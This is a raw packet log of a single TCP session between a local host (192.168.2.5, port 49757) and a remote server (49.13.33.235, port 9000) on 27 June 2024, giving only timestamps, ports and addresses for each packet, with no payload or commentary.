Jun 27, 2024 06:44:38.914160013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917212963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917268038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917315006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917366028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917370081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917416096 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917416096 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917448997 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917478085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917481899 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917498112 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917515993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917524099 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917548895 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917582035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917593002 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917618036 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917870998 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917906046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917953968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.917960882 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.917989016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.918021917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.918034077 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.918075085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922102928 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922135115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922153950 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922168970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922194958 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922202110 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922214985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922235966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922245026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922300100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922333002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922352076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922364950 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.922379971 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.922410011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927097082 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927124977 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927151918 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927166939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927176952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927222013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927232981 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927268028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927299976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927300930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927314043 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927333117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927342892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.927366972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.927416086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937556982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937586069 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937618971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937664032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937669039 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937690973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937701941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937719107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937761068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937767982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937800884 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937833071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.937841892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.937874079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943296909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943346024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943346024 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943361044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943389893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943401098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943435907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943437099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943453074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943491936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943500996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943515062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943551064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943563938 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943849087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943870068 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943885088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943890095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943907022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943931103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.943941116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943957090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943970919 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.943995953 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.944024086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.944350958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.944396973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.947972059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.947985888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948004007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948019028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948025942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948045969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948060036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948071957 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948086977 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948115110 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948230982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948286057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948321104 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948333979 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948486090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948501110 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948513985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948559999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948606014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948657990 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948672056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948677063 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948700905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948718071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.948734999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948749065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.948784113 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.971883059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.971954107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.971987009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972004890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972004890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972038984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972058058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972071886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972091913 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972121000 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972138882 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972156048 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972162962 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972203970 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972206116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972239017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972255945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972270966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972306013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972321033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972337961 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972353935 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972382069 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972389936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972429037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.972611904 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.972666025 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.976972103 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.976999998 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977027893 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977061987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977077007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977114916 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977149010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977166891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977180004 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977202892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977220058 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977236032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977252007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977268934 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977298975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977718115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977751017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977766037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977788925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977811098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977838993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977844954 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977880955 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.977889061 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977921963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977953911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.977987051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.978008986 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.978034019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985085964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985136986 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985152960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985182047 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985196114 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985230923 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985232115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985270977 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985280991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985313892 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985326052 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985346079 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985358953 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985378027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.985393047 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.985430956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002134085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002187014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002194881 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002238989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002249956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002271891 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002314091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002533913 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002584934 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002635956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002670050 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002697945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002700090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002712965 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002741098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002747059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002777100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002794027 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002814054 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002829075 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002861977 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002892971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002902985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002926111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002939939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.002958059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.002965927 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.003000021 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.003015041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.003135920 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006211042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006264925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006274939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006309032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006316900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006350040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006397963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006401062 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006448030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006479979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006500959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006514072 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006519079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006546974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006556988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006580114 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006586075 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006619930 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006659985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006722927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006767988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006771088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006804943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006835938 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.006843090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.006948948 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.010720968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010772943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010798931 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.010802984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010847092 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.010853052 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010885954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010917902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010931015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.010950089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010982990 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.010994911 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.011029959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.015935898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016001940 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016028881 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016036034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016048908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016068935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016081095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016103983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016135931 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016138077 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016145945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016170979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.016175985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.016252995 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026468039 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026500940 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026551962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026561022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026576042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026586056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026597023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026618958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026638985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026653051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026685953 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026700974 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026735067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.026760101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.026787043 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.032469034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032515049 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032546997 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032577991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032610893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032612085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.032643080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032644033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.032675028 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.032679081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.032695055 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036696911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036730051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036761999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036761999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036793947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036798954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036822081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036844015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036849976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036883116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036895037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036915064 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.036959887 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.036979914 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037089109 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037117004 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037138939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037151098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037198067 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037206888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037237883 CEST	9000	49757	49.13.33.235	192.168.2.5
